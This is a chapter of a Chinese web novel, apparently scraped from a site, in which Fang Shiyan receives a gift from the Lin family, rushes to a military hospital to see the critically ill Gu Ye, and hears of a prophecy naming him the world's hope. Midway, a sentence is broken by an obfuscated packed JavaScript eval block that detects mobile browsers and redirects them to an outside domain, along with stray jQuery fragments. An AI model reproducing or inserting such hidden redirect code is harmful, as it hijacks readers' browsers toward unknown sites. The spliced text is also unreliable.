林素正色：“方老板，上次如萌出事多亏你救了她，再说这次海盗在达海岛想要绑架你，本来就是我们防范做的不够，还好你没出事，否则以你现在的地位，我们会更麻烦。”


    地位？他有什么地位？就是个写剧本杀的。


    顶多是写剧本杀时不要良心，敢下狠手对情绪病稍微有点治疗作用。


    “如萌当时是玩我的游戏导致精神力暴动，作为店长我有责任负责，你们也不必放在心上。”方十堰说，他不想继续在如萌这件事上纠结。


    他起身穿鞋，如果不是不好直接走人，他此刻已经飞奔。


    “方先生契约对象出现问题，我们也不变多挽留，既然方先生说来达海岛是为了修炼功法，珊珊，你去把准备的东西拿过来。”林素说。


    东西？果篮吗？


    他现在可没多余的力气提东西。


    随着时间流逝方十堰隐隐作痛的头慢慢缓和，他知道肯定是顾野做了什么。


    但是这不但没让他安心，反而更加焦急，地板如果不是钢铁铸就，怕是他的脚已经在上边磨出一个坑。


    想到医生说的话，方十堰心都要被火点燃。


    林珊珊拿着一个散发着铁制感但手感确实什么生物的皮制成的盒子走到方十堰身边。


    轻轻一按，盒子弹开，里边凹槽处放着一个小巧的U盘。


    “方老板，这里边是林家近百年来总结的精神力修炼经验和心得。聊表心意。”


    方十堰瞪大眼睛，精神力功法这种东西只有学校有，这还是林家积累百年经验，想也知道很珍贵，就这么给他了？


    “这……太贵重……”他推拒。


    “比起方老板的剧本杀，这根本不算什么。如果方老板真的觉得贵重，‘后门’店铺能不能开到达海岛？星网上达海岛也有产地。”林素玩笑道。


    接着又正色指着U盘：“还望方老板知道，虽然耗林家百年都没有找出为什么精神力和情绪病的关联，所以蓝星几乎每一本精神力修炼功法都存在隐患，越是修炼高深者，情绪病越严重。方老板出现前，唯一的办法是去治疗院洗脑，把所有情绪洗掉，这样才能勉强减缓精神力暴动，但治标不治本，除了导致星际人情绪越发淡薄外没有一点用。”林珊珊说。


    “不是还可以找人签订契约共同承担精神力吗？”方十堰问。


    林素摇头：“签订契约确实可以缓解精神力带来的痛苦，但茫茫星海中能找到一个可以签订契约互相信任的人实在太困难，而且就算找到你又怎么保证他是真心愿意和你同生共死。”


    话语虽然直白，但这就是现实。


    海风呼呼，吹的人整个心都敞开，好似所有烦恼都随着这海腥味的海风飘远。


    站在码头，林素看着方十堰说：“方先生，你的出现给星际带来新的希望，请您千万保重自己，好好写剧本杀。”


    得，又是一个‘编辑’，催稿的。


    专门派来送方十堰的飞船小而坚固，螺旋桨转的飞快，机械轰鸣撞击着耳膜。


    “方先生，此次事了请再来达海岛，带上您的契约者，让我们好好招待您。下次一定不会再让海盗坏了您的心情。”林素在风中大喊。


    方十堰抓着上船的扶手朝着林素用力点头，事情变得太快。


    “方先生林家永远站在您身后，那帮海盗林家一定会给你一个交代！”


    伴随着林素的声音，飞船缓缓关上舱门，飞速旋转的螺旋桨带着方十堰回到联邦首都。


    坐在船舱座位上，方十堰拿着林家送的东西，看着怀里的U盘，陷入沉思。


    他的剧本杀真的这么重要？


    星际这么大难道没有人能够研究出根治情绪病的方法？


    那蓝星怎么办？顾野又该怎么办？


    ——


    门推开、合拢，白光慢慢熄灭凝聚出一个人模样。


    方十堰人还没站稳，电话已经拨出去。


    嘟————


    漫长的忙音在耳边响起，看着微信也没回复，电话也没人接。


    方十堰急的眼眶通红，他不是一个爱哭的人，否则那被陷害入狱难熬的日子够他把眼睛哭瞎。


    但今天，现在，此时此刻，联系不上顾野他真的快控制不住。


    大拇指在屏幕上滑动，看着仅有的几个联络人。


    他忽的一顿，赵如萌。


    她和顾野是同事一定知道顾野行踪。


    电话拨通，这次总算没有漫长的等待。


    几乎是接通的瞬间，方十堰的喂就脱口而出。


    “赵姐，你知道顾野在哪儿吗？”


    电话那头陷入沉默，方十堰又接连唤了好几声，等的心急如焚时，她才开口。


    “方十堰，顾野状况不太好，你要过来看他吗？”


    Duang——的嗡鸣，像是寺庙撞钟在方十堰脑海留下余震，他张开嘴巴，喉咙发不出一丝声音。


    仿佛过去了很久，但手机上的时间其实一分钟都还未过完。


    “哪，哪家医院？”


    赵如萌听到电流声里传来方十堰抖的仿佛下一秒就要断气般的，不知道在电话另一头方十堰整个人都在不自主的颤抖。


    “不在白沙镇，你去廊下等着一会会有直升机来接你。”


    电话挂断，方十堰茫然的盯着手机上的通话记录发呆。


    他是不是在做梦，其实他现在还在监狱，他也没有什么系统，更没有再遇见顾野。


    “顾，野……”方十堰捏紧拳头。


    如果他没有遇到系统，就不会和顾野签订契约，顾野也不会遇到危险。


    他……也不会情况危机到需要住院。


    【小红花，我真的可以拯救世界吗？】方十堰问。


    滋——滋——


    方十堰耳朵里传来电流声，没有熟悉的系统声音。


    他真的不是在做梦吗？


    方十堰捂着耳朵，迷茫的环顾四周。


    那张桌子上次顾野坐在那儿吃火锅；厨房的洗手台他们一起洗蔬菜；小猫围裙的带子似乎还残留顾野余温……


    【小红花……】


    巨大的螺旋桨声在院子中响起，方十堰没想到有生之年他还能坐上军用直升机。


    慌乱取代一部分茫然混入心头。


    但对顾野的担心让他无心思考，只是用力的抱着怀里的小盒子，仿佛那是能救顾野的良


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497491|184795||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    药。


    不知飞了多久，10分钟还是20分钟，方十堰只知道时间像一把生锈的钝刀，一下一下磨着割肉。


    “方先生，前面就是军医院顶楼，请您做好下机准备。”飞行员说。


    方十堰麻木的点头，扣紧怀里的盒子，手指用力到发白。


    如果真的有神佛，请你们保佑顾野，他愿意付出一切。方十堰盯着远处漂浮的白云第一次祈求神明真的存在。


    “10、9……3……1。”


    伴随着倒数，直身机平稳的停在军医院停机坪，一个手持旗帜的人上前接应方十堰。


    “方先生，顾上校在病房。”那人说。


    顾野？上校？


    来不及多想，方十堰紧紧跟在身后，脚步凌乱的能踩死所有蚂蚁。


    医院的味道仿佛有人统一安排过，都是一个味道，刺鼻的消毒水混合着令人窒息的绝望，空气中的分子紧密拥挤霸占着本就不多的氧气。


    方十堰抬手想要松一松衣领，摸到圆边才发现自己穿的是T恤，他微微张开嘴，吸了满口消毒水味的氧气，眼底浮出红丝血丝。


    鞋底敲击地板的声音哐当作响。


    为什么这条长廊这么长，好似没有尽头般。


    可方十堰又希望它能更长一点，让他不要那么快看到顾野躺在病床上的样子。


    “方先生，到了。”


    希望是世界上最脆弱的东西。


    方十堰喉结滑动，咕咚一声不知道是心跳停止的声音还是咽口水。


    “咚咚——”


    “进。”


    笨重的呼吸器和心跳检测仪摆在病床一侧，顾野除了露出一张脸和夹着心脏检测仪的手露在外边，其他的都被藏在白色的床单下。


    他的脸色比床单还要白，嘴唇泛着一点青，眼皮下也泛青，呼吸微弱的近乎听不见。


    就一眼，就看了一眼，一路忍着的眼泪如迅水季的洪水轰隆落下。


    一颗一颗圆滚滚的砸在衣服上。


    “顾，顾野。”方十堰几乎是摔着半跪在顾野床边，手抬着不敢落下，顾野在他面前从来高大，从来勇猛。


    什么时候见过他这般脆弱的模样。


    “你就是方十堰吧。”


    一旁传来苍老的声音。


    方十堰吓得攥紧怀里的盒子，像只警惕的松鼠挡在顾野身前回头望去。


    是一个穿着军装，长相正气而慈祥的老人。


    能够想象他平时的威严，但此刻在病房的他脸上只剩担忧、心疼。


    “您，您好，我是方十堰。”


    方十堰说。


    病房的时钟滴滴答答，方十堰听着老人介绍他是顾野的爷爷，说着顾野的固执和不听话。


    也说着他不知道的一切，还有白沙镇的改变以及他为什么能够提前出狱。


    “所以他……那两个害我入狱的人是顾野抓到的？”方十堰问。


    “白沙镇之所以飞速发展也是这两年的事情，因为有预言说蓝星会在不久的将来遇到一场堪比世界危机的灾难？”方十堰说话时一直盯着顾野，直到这一句话，他抬起头直视老人：“而我是预言里唯一能够拯救世界的希望？”